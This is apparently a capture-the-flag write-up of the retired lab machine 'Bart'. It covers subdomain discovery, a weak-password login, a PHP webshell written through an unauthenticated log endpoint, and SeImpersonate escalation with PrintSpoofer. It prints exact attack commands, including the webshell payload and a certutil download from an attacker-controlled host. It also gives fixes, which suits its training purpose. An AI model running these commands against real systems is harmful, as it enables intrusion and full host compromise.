Bart
Summary
I scanning a single open HTTP port found a virtual-host redirect to bart.htb, then uncovered a public staff forum and an internal chat application on separate subdomains. Staff usernames from the forum combined with a thematic weak password produced valid credentials for the internal chat. That chat application's unauthenticated log-writing endpoint accepted PHP code as a username and wrote it to a caller-specified filename inside the web root, turning the log file into a webshell executing as the IIS service account (NT AUTHORITY\IUSR).
That account held SeImpersonatePrivilege — a default IIS privilege. I downloaded a named-pipe impersonation binary (PrintSpoofer64) via the built-in CertUtil utility and used it to spawn a process as NT AUTHORITY\SYSTEM, achieving full host compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC --min-rate 5000 -p- $TARGETffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.bart.htb' -mc 200,301,302,403 -vecho "$TARGET bart.htb forum.bart.htb internal-01.bart.htb" | sudo tee -a /etc/hostsExact commands 2
curl -sS http://forum.bart.htb/ | grep -i 'harvey\|staff\|member\|user'curl -sS -i -X POST http://internal-01.bart.htb/simple_chat/login_form.php -d 'uname=harvey&passwd=[REDACTED: recovered credential]'FixRestrict the internal chat application to internal network access only and enforce strong passwordsHigh
Exact commands 2
curl -sS 'http://internal-01.bart.htb/log/log.php?filename=cmd.php&username=%3C%3Fphp+system%28%24_GET%5B%27c%27%5D%29%3B+%3F%3E'curl -sS -G --data-urlencode 'c=whoami' 'http://internal-01.bart.htb/log/cmd.php'FixRemove the user-controlled filename parameter from the log endpoint and sanitise all logged inputCritical
Exact commands 2
curl -sS -G --data-urlencode 'c=whoami /all' 'http://internal-01.bart.htb/log/cmd.php'curl -sS -G --data-urlencode 'c=systeminfo' 'http://internal-01.bart.htb/log/cmd.php'FixRemove SeImpersonatePrivilege from the IIS service account and upgrade the end-of-life OSCritical
Exact commands 3
python3 -m http.server 80curl -sS -G --data-urlencode "c=certutil -urlcache -split -f http://$ATTACKER_IP/PrintSpoofer64.exe C:\Windows\Temp\PrintSpoofer64.exe" 'http://internal-01.bart.htb/log/cmd.php'curl -sS -G --data-urlencode 'c=dir C:\Windows\Temp /b' 'http://internal-01.bart.htb/log/cmd.php'Exact commands 3
curl -sS -G --max-time 20 --data-urlencode 'c=C:\Windows\Temp\PrintSpoofer64.exe -c "cmd /c whoami > C:\Windows\Temp\whoami.txt" & type C:\Windows\Temp\whoami.txt' 'http://internal-01.bart.htb/log/cmd.php'curl -sS -G --max-time 20 --data-urlencode 'c=dir /s /b C:\Users\user.txt C:\Users\root.txt' 'http://internal-01.bart.htb/log/cmd.php'curl -sS -G --max-time 20 --data-urlencode 'c=C:\Windows\Temp\PrintSpoofer64.exe -c "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Windows\Temp\flags.txt" & type C:\Windows\Temp\flags.txt' 'http://internal-01.bart.htb/log/cmd.php'Attack patterns used
The transferable techniques behind this compromise.
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 80/tcp | http |